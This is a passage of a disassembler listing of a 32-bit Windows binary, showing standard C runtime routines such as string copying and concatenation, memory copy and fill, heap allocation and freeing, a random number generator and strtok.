sub_4293A0+Aj ; sub_4293A0+36j ... mov eax, [ecx] mov edx, 7EFEFEFFh add edx, eax xor eax, 0FFFFFFFFh xor eax, edx add ecx, 4 test eax, 81010100h jz short loc_4293C0 mov eax, [ecx-4] test al, al jz short loc_429411 test ah, ah jz short loc_429407 test eax, 0FF0000h jz short loc_4293FD test eax, 0FF000000h jz short loc_4293F3 jmp short loc_4293C0 ; --------------------------------------------------------------------------- loc_4293F3: ; CODE XREF: sub_4293A0+11j ; sub_4293A0+4Fj lea eax, [ecx-1] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_4293FD: ; CODE XREF: sub_4293A0+48j lea eax, [ecx-2] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_429407: ; CODE XREF: sub_4293A0+41j lea eax, [ecx-3] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_429411: ; CODE XREF: sub_4293A0+3Dj lea eax, [ecx-4] mov ecx, [esp+arg_0] sub eax, ecx retn sub_4293A0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_429420 proc near ; CODE XREF: sub_40100A+25p ; sub_401044+2Ep ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi mov esi, [ebp+arg_4] mov ecx, [ebp+arg_8] mov edi, [ebp+arg_0] mov eax, ecx mov edx, ecx add eax, esi cmp edi, esi jbe short loc_429440 cmp edi, eax jb loc_4295B8 loc_429440: ; CODE XREF: sub_429420+16j test edi, 3 jnz short loc_42945C shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_42947C rep movsd jmp off_429568[edx*4] ; --------------------------------------------------------------------------- loc_42945C: ; CODE XREF: sub_429420+26j mov eax, edi mov edx, 3 sub ecx, 4 jb short loc_429474 and eax, 3 add ecx, eax jmp dword ptr loc_42947C+4[eax*4] ; --------------------------------------------------------------------------- loc_429474: ; CODE XREF: sub_429420+46j jmp dword ptr loc_429578[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_42947C: ; CODE XREF: sub_429420+31j ; sub_429420+8Ej ... jmp off_4294FC[ecx*4] ; --------------------------------------------------------------------------- db 2 dup(90h) db 94h, 42h, 0 dd offset loc_4294BC dd offset loc_4294E0 ; --------------------------------------------------------------------------- and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al add esi, 3 add edi, 3 cmp ecx, 8 jb short loc_42947C rep movsd jmp off_429568[edx*4] ; --------------------------------------------------------------------------- align 4 loc_4294BC: ; DATA XREF: sub_429420+68o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al add esi, 2 add edi, 2 cmp ecx, 8 jb short loc_42947C rep movsd jmp off_429568[edx*4] ; --------------------------------------------------------------------------- align 10h loc_4294E0: ; DATA XREF: sub_429420+6Co and edx, ecx mov al, [esi] mov [edi], al inc esi shr ecx, 2 inc edi cmp ecx, 8 jb short loc_42947C rep movsd jmp off_429568[edx*4] ; --------------------------------------------------------------------------- align 4 off_4294FC dd offset loc_42955F ; DATA XREF: sub_429420:loc_42947Cr dd offset loc_42954C dd offset loc_429544 dd offset loc_42953C dd offset loc_429534 dd offset loc_42952C dd offset loc_429524 dd offset loc_42951C ; --------------------------------------------------------------------------- loc_42951C: ; CODE XREF: sub_429420:loc_42947Cj ; DATA XREF: sub_429420+F8o mov eax, [esi+ecx*4-1Ch] mov [edi+ecx*4-1Ch], eax loc_429524: ; CODE XREF: sub_429420:loc_42947Cj ; DATA XREF: sub_429420+F4o mov eax, [esi+ecx*4-18h] mov [edi+ecx*4-18h], eax loc_42952C: ; CODE XREF: sub_429420:loc_42947Cj ; DATA XREF: sub_429420+F0o mov eax, [esi+ecx*4-14h] mov [edi+ecx*4-14h], eax loc_429534: ; CODE XREF: sub_429420:loc_42947Cj ; DATA XREF: sub_429420+ECo mov eax, [esi+ecx*4-10h] mov [edi+ecx*4-10h], eax loc_42953C: ; CODE XREF: sub_429420:loc_42947Cj ; DATA XREF: sub_429420+E8o mov eax, [esi+ecx*4-0Ch] mov [edi+ecx*4-0Ch], eax loc_429544: ; CODE XREF: sub_429420:loc_42947Cj ; DATA XREF: sub_429420+E4o mov eax, [esi+ecx*4-8] mov [edi+ecx*4-8], eax loc_42954C: ; CODE XREF: sub_429420:loc_42947Cj ; DATA XREF: sub_429420+E0o mov eax, [esi+ecx*4-4] mov [edi+ecx*4-4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_42955F: ; CODE XREF: sub_429420:loc_42947Cj ; DATA XREF: sub_429420:off_4294FCo jmp off_429568[edx*4] ; --------------------------------------------------------------------------- align 4 off_429568 dd offset loc_429578 ; DATA XREF: sub_429420+35r ; sub_429420+92r ... dd offset loc_429580 dd offset loc_42958C dd offset loc_4295A0 ; --------------------------------------------------------------------------- loc_429578: ; CODE XREF: sub_429420+35j ; sub_429420+92j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_429580: ; CODE XREF: sub_429420+35j ; sub_429420+92j ... mov al, [esi] mov [edi], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_42958C: ; CODE XREF: sub_429420+35j ; sub_429420+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_4295A0: ; CODE XREF: sub_429420+35j ; sub_429420+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_4295B8: ; CODE XREF: sub_429420+1Aj lea esi, [ecx+esi-4] lea edi, [ecx+edi-4] test edi, 3 jnz short loc_4295EC shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_4295E0 std rep movsd cld jmp off_429700[edx*4] ; --------------------------------------------------------------------------- align 10h loc_4295E0: ; CODE XREF: sub_429420+1B1j ; sub_429420+208j ... neg ecx jmp off_4296B0[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_4295EC: ; CODE XREF: sub_429420+1A6j mov eax, edi mov edx, 3 cmp ecx, 4 jb short loc_429604 and eax, 3 sub ecx, eax jmp dword ptr loc_429604+4[eax*4] ; --------------------------------------------------------------------------- loc_429604: ; CODE XREF: sub_429420+1D6j ; DATA XREF: sub_429420+1DDr jmp off_429700[ecx*4] ; --------------------------------------------------------------------------- align 4 sbb [esi-69C7FFBEh], dl inc edx add [eax-6Ah], ah inc edx add [edx-2EDCFCBAh], cl mov [edi+3], al dec esi shr ecx, 2 dec edi cmp ecx, 8 jb short loc_4295E0 std rep movsd cld jmp off_429700[edx*4] ; --------------------------------------------------------------------------- align 4 mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al sub esi, 2 sub edi, 2 cmp ecx, 8 jb short loc_4295E0 std rep movsd cld jmp off_429700[edx*4] ; --------------------------------------------------------------------------- align 10h mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al sub esi, 3 sub edi, 3 cmp ecx, 8 jb loc_4295E0 std rep movsd cld jmp off_429700[edx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_4296B4 dd offset loc_4296BC dd offset loc_4296C4 dd offset loc_4296CC dd offset loc_4296D4 dd offset loc_4296DC dd offset loc_4296E4 off_4296B0 dd offset loc_4296F7 ; DATA XREF: sub_429420+1C2r ; --------------------------------------------------------------------------- loc_4296B4: ; DATA XREF: sub_429420+274o mov eax, [esi+ecx*4+1Ch] mov [edi+ecx*4+1Ch], eax loc_4296BC: ; DATA XREF: sub_429420+278o mov eax, [esi+ecx*4+18h] mov [edi+ecx*4+18h], eax loc_4296C4: ; DATA XREF: sub_429420+27Co mov eax, [esi+ecx*4+14h] mov [edi+ecx*4+14h], eax loc_4296CC: ; DATA XREF: sub_429420+280o mov eax, [esi+ecx*4+10h] mov [edi+ecx*4+10h], eax loc_4296D4: ; DATA XREF: sub_429420+284o mov eax, [esi+ecx*4+0Ch] mov [edi+ecx*4+0Ch], eax loc_4296DC: ; DATA XREF: sub_429420+288o mov eax, [esi+ecx*4+8] mov [edi+ecx*4+8], eax loc_4296E4: ; DATA XREF: sub_429420+28Co mov eax, [esi+ecx*4+4] mov [edi+ecx*4+4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_4296F7: ; CODE XREF: sub_429420+1C2j ; DATA XREF: sub_429420:off_4296B0o jmp off_429700[edx*4] ; --------------------------------------------------------------------------- align 10h off_429700 dd offset loc_429710 ; DATA XREF: sub_429420+1B7r ; sub_429420:loc_429604r ... dd offset loc_429718 dd offset loc_429728 dd offset loc_42973C ; --------------------------------------------------------------------------- loc_429710: ; CODE XREF: sub_429420+1B7j ; sub_429420:loc_429604j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_429718: ; CODE XREF: sub_429420+1B7j ; sub_429420:loc_429604j ... mov al, [esi+3] mov [edi+3], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_429728: ; CODE XREF: sub_429420+1B7j ; sub_429420:loc_429604j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_42973C: ; CODE XREF: sub_429420+1B7j ; sub_429420:loc_429604j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn sub_429420 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_429760 proc near ; CODE XREF: sub_40100A+1Ap ; sub_401044+22p ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_8 = dword ptr 0Ch mov edx, [esp+arg_8] mov ecx, [esp+arg_0] test edx, edx jz short loc_4297B3 xor eax, eax mov al, [esp+arg_4] push edi mov edi, ecx cmp edx, 4 jb short loc_4297A7 neg ecx and ecx, 3 jz short loc_429789 sub edx, ecx loc_429783: ; CODE XREF: sub_429760+27j mov [edi], al inc edi dec ecx jnz short loc_429783 loc_429789: ; CODE XREF: sub_429760+1Fj mov ecx, eax shl eax, 8 add eax, ecx mov ecx, eax shl eax, 10h add eax, ecx mov ecx, edx and edx, 3 shr ecx, 2 jz short loc_4297A7 rep stosd test edx, edx jz short loc_4297AD loc_4297A7: ; CODE XREF: sub_429760+18j ; sub_429760+3Fj ... mov [edi], al inc edi dec edx jnz short loc_4297A7 loc_4297AD: ; CODE XREF: sub_429760+45j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_4297B3: ; CODE XREF: sub_429760+Aj mov eax, [esp+arg_0] retn sub_429760 endp ; =============== S U B R O U T I N E ======================================= sub_4297B8 proc near ; CODE XREF: sub_40100A+Ap ; sub_401044+12p ... arg_0 = dword ptr 4 push dword_676930 push [esp+4+arg_0] call sub_4297CA pop ecx pop ecx retn sub_4297B8 endp ; =============== S U B R O U T I N E ======================================= sub_4297CA proc near ; CODE XREF: sub_4297B8+Ap ; sub_42B4D7+6p arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp [esp+arg_0], 0FFFFFFE0h ja short loc_4297F3 loc_4297D1: ; CODE XREF: sub_4297CA+27j push [esp+arg_0] call sub_4297F6 test eax, eax pop ecx jnz short locret_4297F5 cmp [esp+arg_4], eax jz short locret_4297F5 push [esp+arg_0] call sub_42C6C5 test eax, eax pop ecx jnz short loc_4297D1 loc_4297F3: ; CODE XREF: sub_4297CA+5j xor eax, eax locret_4297F5: ; CODE XREF: sub_4297CA+13j ; sub_4297CA+19j retn sub_4297CA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4297F6 proc near ; CODE XREF: sub_4297CA+Bp var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 ; FUNCTION CHUNK AT 00429866 SIZE 00000053 BYTES ; FUNCTION CHUNK AT 004298C5 SIZE 0000002D BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_437400 push offset sub_42ADC4 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 0Ch push ebx push esi push edi mov eax, dword_677004 cmp eax, 3 jnz short loc_429866 mov esi, [ebp+arg_0] cmp esi, dword_676FFC ja loc_4298C5 push 9 call sub_42DAEF pop ecx and [ebp+var_4], 0 push esi call sub_42CC4E pop ecx mov [ebp+var_1C], eax or [ebp+var_4], 0FFFFFFFFh call sub_42985D mov eax, [ebp+var_1C] test eax, eax jz short loc_4298C5 jmp loc_4298E3 sub_4297F6 endp ; =============== S U B R O U T I N E ======================================= sub_42985D proc near ; CODE XREF: sub_4297F6+56p ; DATA XREF: .text:00437408o push 9 call sub_42DB50 pop ecx retn sub_42985D endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4297F6 loc_429866: ; CODE XREF: sub_4297F6+2Bj cmp eax, 2 jnz short loc_4298C5 mov eax, [ebp+arg_0] test eax, eax jz short loc_42987A lea esi, [eax+0Fh] and esi, 0FFFFFFF0h jmp short loc_42987D ; --------------------------------------------------------------------------- loc_42987A: ; CODE XREF: sub_4297F6+7Aj push 10h pop esi loc_42987D: ; CODE XREF: sub_4297F6+82j mov [ebp+arg_0], esi cmp esi, dword_453174 ja short loc_4298B6 push 9 call sub_42DAEF pop ecx mov [ebp+var_4], 1 mov eax, esi shr eax, 4 push eax call sub_42D6F1 pop ecx mov [ebp+var_1C], eax or [ebp+var_4], 0FFFFFFFFh call sub_4298BC mov eax, [ebp+var_1C] test eax, eax jnz short loc_4298E3 loc_4298B6: ; CODE XREF: sub_4297F6+90j push esi jmp short loc_4298D5 ; END OF FUNCTION CHUNK FOR sub_4297F6 ; =============== S U B R O U T I N E ======================================= sub_4298B9 proc near ; DATA XREF: .text:00437414o mov esi, [ebp+8] sub_4298B9 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4298BC proc near ; CODE XREF: sub_4297F6+B4p push 9 call sub_42DB50 pop ecx retn sub_4298BC endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4297F6 loc_4298C5: ; CODE XREF: sub_4297F6+36j ; sub_4297F6+60j ... mov eax, [ebp+arg_0] test eax, eax jnz short loc_4298CF push 1 pop eax loc_4298CF: ; CODE XREF: sub_4297F6+D4j add eax, 0Fh and al, 0F0h push eax loc_4298D5: ; CODE XREF: sub_4297F6+C1j push 0 push dword_677000 call dword_437210 ; RtlAllocateHeap loc_4298E3: ; CODE XREF: sub_4297F6+62j ; sub_4297F6+BEj mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn ; END OF FUNCTION CHUNK FOR sub_4297F6 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4298F2 proc near ; CODE XREF: sub_401099+Ap ; sub_4010B2+73p ... var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 ; FUNCTION CHUNK AT 00429965 SIZE 0000004F BYTES ; FUNCTION CHUNK AT 004299BD SIZE 0000001E BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_437418 push offset sub_42ADC4 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h push ebx push esi push edi mov esi, [ebp+arg_0] test esi, esi jz loc_4299CC mov eax, dword_677004 cmp eax, 3 jnz short loc_429965 push 9 call sub_42DAEF pop ecx and [ebp+var_4], 0 push esi call sub_42C8FA pop ecx mov [ebp+var_1C], eax test eax, eax jz short loc_42994D push esi push eax call sub_42C925 pop ecx pop ecx loc_42994D: ; CODE XREF: sub_4298F2+50j or [ebp+var_4], 0FFFFFFFFh call sub_42995C cmp [ebp+var_1C], 0 jmp short loc_4299AD sub_4298F2 endp ; =============== S U B R O U T I N E ======================================= sub_42995C proc near ; CODE XREF: sub_4298F2+5Fp ; DATA XREF: .text:00437420o push 9 call sub_42DB50 pop ecx retn sub_42995C endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4298F2 loc_429965: ; CODE XREF: sub_4298F2+36j cmp eax, 2 jnz short loc_4299BD push 9 call sub_42DAEF pop ecx mov [ebp+var_4], 1 lea eax, [ebp+var_20] push eax lea eax, [ebp+var_28] push eax push esi call sub_42D655 add esp, 0Ch mov [ebp+var_24], eax test eax, eax jz short loc_4299A0 push eax push [ebp+var_20] push [ebp+var_28] call sub_42D6AC add esp, 0Ch loc_4299A0: ; CODE XREF: sub_4298F2+9Dj or [ebp+var_4], 0FFFFFFFFh call sub_4299B4 cmp [ebp+var_24], 0 loc_4299AD: ; CODE XREF: sub_4298F2+68j jnz short loc_4299CC push [ebp+arg_0] jmp short loc_4299BE ; END OF FUNCTION CHUNK FOR sub_4298F2 ; =============== S U B R O U T I N E ======================================= sub_4299B4 proc near ; CODE XREF: sub_4298F2+B2p ; DATA XREF: .text:0043742Co push 9 call sub_42DB50 pop ecx retn sub_4299B4 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4298F2 loc_4299BD: ; CODE XREF: sub_4298F2+76j push esi loc_4299BE: ; CODE XREF: sub_4298F2+C0j push 0 push dword_677000 call dword_437214 ; RtlFreeHeap loc_4299CC: ; CODE XREF: sub_4298F2+28j ; sub_4298F2:loc_4299ADj mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn ; END OF FUNCTION CHUNK FOR sub_4298F2 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4299E0 proc near ; CODE XREF: sub_401990+66p ; sub_401990+B4p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov ecx, [esp+arg_8] push edi test ecx, ecx jz loc_429A94 mov edi, [esp+4+arg_0] push esi test edi, 3 push ebx jz short loc_429A0A loc_4299FB: ; CODE XREF: sub_4299E0+28j mov al, [edi] inc edi test al, al jz short loc_429A3B test edi, 3 jnz short loc_4299FB loc_429A0A: ; CODE XREF: sub_4299E0+19j ; sub_4299E0+40j ... mov eax, [edi] mov edx, 7EFEFEFFh add edx, eax xor eax, 0FFFFFFFFh xor eax, edx add edi, 4 test eax, 81010100h jz short loc_429A0A mov eax, [edi-4] test al, al jz short loc_429A48 test ah, ah jz short loc_429A43 test eax, 0FF0000h jz short loc_429A3E test eax, 0FF000000h jnz short loc_429A0A loc_429A3B: ; CODE XREF: sub_4299E0+20j dec edi jmp short loc_429A4B ; --------------------------------------------------------------------------- loc_429A3E: ; CODE XREF: sub_4299E0+52j sub edi, 2 jmp short loc_429A4B ; --------------------------------------------------------------------------- loc_429A43: ; CODE XREF: sub_4299E0+4Bj sub edi, 3 jmp short loc_429A4B ; --------------------------------------------------------------------------- loc_429A48: ; CODE XREF: sub_4299E0+47j sub edi, 4 loc_429A4B: ; CODE XREF: sub_4299E0+5Cj ; sub_4299E0+61j ... mov esi, [esp+0Ch+arg_4] test esi, 3 jnz short loc_429A60 mov ebx, ecx shr ecx, 2 jnz short loc_429AAC jmp short loc_429A7C ; --------------------------------------------------------------------------- loc_429A60: ; CODE XREF: sub_4299E0+75j ; sub_4299E0+93j mov dl, [esi] inc esi test dl, dl jz short loc_429A9A mov [edi], dl inc edi dec ecx jz short loc_429A90 test esi, 3 jnz short loc_429A60 mov ebx, ecx shr ecx, 2 jnz short loc_429AAC loc_429A7C: ; CODE XREF: sub_4299E0+7Ej ; sub_4299E0+CAj mov ecx, ebx and ecx, 3 jz short loc_429A90 loc_429A83: ; CODE XREF: sub_4299E0+AEj mov dl, [esi] inc esi mov [edi], dl inc edi test dl, dl jz short loc_429A92 dec ecx jnz short loc_429A83 loc_429A90: ; CODE XREF: sub_4299E0+8Bj ; sub_4299E0+A1j mov [edi], cl loc_429A92: ; CODE XREF: sub_4299E0+ABj pop ebx pop esi loc_429A94: ; CODE XREF: sub_4299E0+7j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_429A9A: ; CODE XREF: sub_4299E0+85j ; sub_4299E0+E8j mov [edi], dl mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_429AA4: ; CODE XREF: sub_4299E0+E4j ; sub_4299E0+FCj mov [edi], edx add edi, 4 dec ecx jz short loc_429A7C loc_429AAC: ; CODE XREF: sub_4299E0+7Cj ; sub_4299E0+9Aj mov edx, 7EFEFEFFh mov eax, [esi] add edx, eax xor eax, 0FFFFFFFFh xor eax, edx mov edx, [esi] add esi, 4 test eax, 81010100h jz short loc_429AA4 test dl, dl jz short loc_429A9A test dh, dh jz short loc_429AF8 test edx, 0FF0000h jz short loc_429AE8 test edx, 0FF000000h jnz short loc_429AA4 mov [edi], edx mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_429AE8: ; CODE XREF: sub_4299E0+F4j mov [edi], dx xor edx, edx mov eax, [esp+0Ch+arg_0] mov [edi+2], dl pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_429AF8: ; CODE XREF: sub_4299E0+ECj mov [edi], dx mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn sub_4299E0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_429B03 proc near ; CODE XREF: sub_401990+22p ; sub_401990+52p ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi mov [ebp+var_18], eax mov [ebp+var_20], eax lea eax, [ebp+arg_8] mov [ebp+var_14], 42h push eax lea eax, [ebp+var_20] push [ebp+arg_4] mov [ebp+var_1C], 7FFFFFFFh push eax call sub_42DC7D add esp, 0Ch dec [ebp+var_1C] mov esi, eax js short loc_429B43 mov eax, [ebp+var_20] and byte ptr [eax], 0 jmp short loc_429B50 ; --------------------------------------------------------------------------- loc_429B43: ; CODE XREF: sub_429B03+36j lea eax, [ebp+var_20] push eax push 0 call sub_42DB65 pop ecx pop ecx loc_429B50: ; CODE XREF: sub_429B03+3Ej mov eax, esi pop esi leave retn sub_429B03 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_429B60 proc near ; CODE XREF: sub_401990+8p ; sub_402CE9+8p ... arg_0 = byte ptr 4 push ecx cmp eax, 1000h lea ecx, [esp+4+arg_0] jb short loc_429B80 loc_429B6C: ; CODE XREF: sub_429B60+1Ej sub ecx, 1000h sub eax, 1000h test [ecx], eax cmp eax, 1000h jnb short loc_429B6C loc_429B80: ; CODE XREF: sub_429B60+Aj sub ecx, eax mov eax, esp test [ecx], eax mov esp, ecx mov ecx, [eax] mov eax, [eax+4] push eax retn sub_429B60 endp ; =============== S U B R O U T I N E ======================================= sub_429B8F proc near ; CODE XREF: sub_401A77+9p ; sub_401AF0+9p ... arg_0 = dword ptr 4 call sub_42E4EE mov ecx, [esp+arg_0] mov [eax+14h], ecx retn sub_429B8F endp ; =============== S U B R O U T I N E ======================================= sub_429B9C proc near ; CODE XREF: sub_401A77+Fp ; sub_401A77+22p ... call sub_42E4EE mov ecx, [eax+14h] imul ecx, 343FDh add ecx, 269EC3h mov [eax+14h], ecx mov eax, ecx shr eax, 10h and eax, 7FFFh retn sub_429B9C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_429BBE proc near ; CODE XREF: sub_401B6E+1F0p ; sub_401B6E+27Bp ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = byte ptr 14h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi mov [ebp+var_18], eax mov [ebp+var_20], eax mov eax, [ebp+arg_4] mov [ebp+var_14], 42h mov [ebp+var_1C], eax lea eax, [ebp+arg_C] push eax lea eax, [ebp+var_20] push [ebp+arg_8] push eax call sub_42DC7D add esp, 0Ch dec [ebp+var_1C] mov esi, eax js short loc_429BFD mov eax, [ebp+var_20] and byte ptr [eax], 0 jmp short loc_429C0A ; --------------------------------------------------------------------------- loc_429BFD: ; CODE XREF: sub_429BBE+35j lea eax, [ebp+var_20] push eax push 0 call sub_42DB65 pop ecx pop ecx loc_429C0A: ; CODE XREF: sub_429BBE+3Dj mov eax, esi pop esi leave retn sub_429BBE endp ; =============== S U B R O U T I N E ======================================= sub_429C0F proc near ; CODE XREF: sub_401E9E+79p ; sub_401E9E+89p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] mov ecx, eax cmp word ptr [eax], 0 jz short loc_429C23 loc_429C1B: ; CODE XREF: sub_429C0F+12j inc ecx inc ecx cmp word ptr [ecx], 0 jnz short loc_429C1B loc_429C23: ; CODE XREF: sub_429C0F+Aj mov edx, [esp+arg_4] push esi loc_429C28: ; CODE XREF: sub_429C0F+26j mov si, [edx] mov [ecx], si inc ecx inc ecx inc edx inc edx test si, si jnz short loc_429C28 pop esi retn sub_429C0F endp ; =============== S U B R O U T I N E ======================================= sub_429C39 proc near ; CODE XREF: sub_4097B9+373p ; sub_4097B9+3E3p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_4] mov eax, [esp+arg_0] push esi mov dx, [ecx] lea esi, [eax+2] mov [eax], dx loc_429C4B: ; CODE XREF: sub_429C39+21j inc ecx inc ecx test dx, dx jz short loc_429C5C mov dx, [ecx] mov [esi], dx inc esi inc esi jmp short loc_429C4B ; --------------------------------------------------------------------------- loc_429C5C: ; CODE XREF: sub_429C39+17j pop esi retn sub_429C39 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_429C5E proc near ; CODE XREF: sub_401F54+3Ap ; sub_401F54+53p ... var_20 = byte ptr -20h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 20h push ebx push esi mov esi, [ebp+arg_4] push edi call sub_42E4EE push 8 mov [ebp+arg_4], eax pop ecx xor eax, eax lea edi, [ebp+var_20] push 7 rep stosd pop edi loc_429C7F: ; CODE XREF: sub_429C5E+3Aj mov dl, [esi] mov bl, 1 movzx ecx, dl mov eax, ecx and ecx, edi shr eax, 3 shl bl, cl lea eax, [ebp+eax+var_20] or [eax], bl inc esi test dl, dl jnz short loc_429C7F mov edx, [ebp+arg_0] test edx, edx jnz short loc_429CA7 mov eax, [ebp+arg_4] mov edx, [eax+18h] loc_429CA7: ; CODE XREF: sub_429C5E+41j ; sub_429C5E+67j mov al, [edx] push 1 movzx esi, al mov ecx, esi pop ebx and ecx, edi shl ebx, cl shr esi, 3 mov cl, [ebp+esi+var_20] test bl, cl jz short loc_429CC7 test al, al jz short loc_429CC7 inc edx jmp short loc_429CA7 ; --------------------------------------------------------------------------- loc_429CC7: ; CODE XREF: sub_429C5E+60j ; sub_429C5E+64j mov ebx, edx loc_429CC9: ; CODE XREF: sub_429C5E+89j mov al, [edx] test al, al jz short loc_429CED movzx esi, al mov ecx, esi push 1 and ecx, edi pop eax shl eax, cl shr esi, 3 mov cl, [ebp+esi+var_20] test al, cl jnz short loc_429CE9 inc edx jmp short loc_429CC9 ; --------------------------------------------------------------------------- loc_429CE9: ; CODE XREF: sub_429C5E+86j and byte ptr [edx], 0 inc edx loc_429CED: ; CODE XREF: sub_429C5E+6Fj mov eax, [ebp+arg_4] pop edi pop esi mov [eax+18h], edx mov eax, ebx sub eax, edx neg eax sbb eax, eax and eax, ebx pop ebx leave retn sub_429C5E endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_429D10 proc near ; CODE XREF: sub_401F54+2Bp ; sub_4020BA+92p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov ecx, [esp+arg_8] push edi test ecx, ecx jz short loc_429D93 push esi push ebx mov ebx, ecx mov esi, [esp+0Ch+arg_4] test esi, 3 mov edi, [esp+0Ch+arg_0] jnz short loc_429D34 shr ecx, 2 jnz short loc_429DA1 jmp short loc_429D55 ; --------------------------------------------------------------------------- loc_429D34: ; CODE XREF: sub_429D10+1Bj ; sub_429D10+37j mov al, [esi] inc esi mov [edi], al inc edi dec ecx jz short loc_429D62 test al, al jz short loc_429D6A test esi, 3 jnz short loc_429D34 mov ebx, ecx shr ecx, 2 jnz short loc_429DA1 loc_429D50: ; CODE XREF: sub_429D10+8Fj and ebx, 3 jz short loc_429D62 loc_429D55: ; CODE XREF: sub_429D10+22j ; sub_429D10+50j mov al, [esi] inc esi mov [edi], al inc edi test al, al jz short loc_429D8E dec ebx jnz short loc_429D55 loc_429D62: ; CODE XREF: sub_429D10+2Bj ; sub_429D10+43j mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_429D6A: ; CODE XREF: sub_429D10+2Fj test edi, 3 jz short loc_429D84 loc_429D72: ; CODE XREF: sub_429D10+72j mov [edi], al inc edi dec ecx jz loc_429E06 test edi, 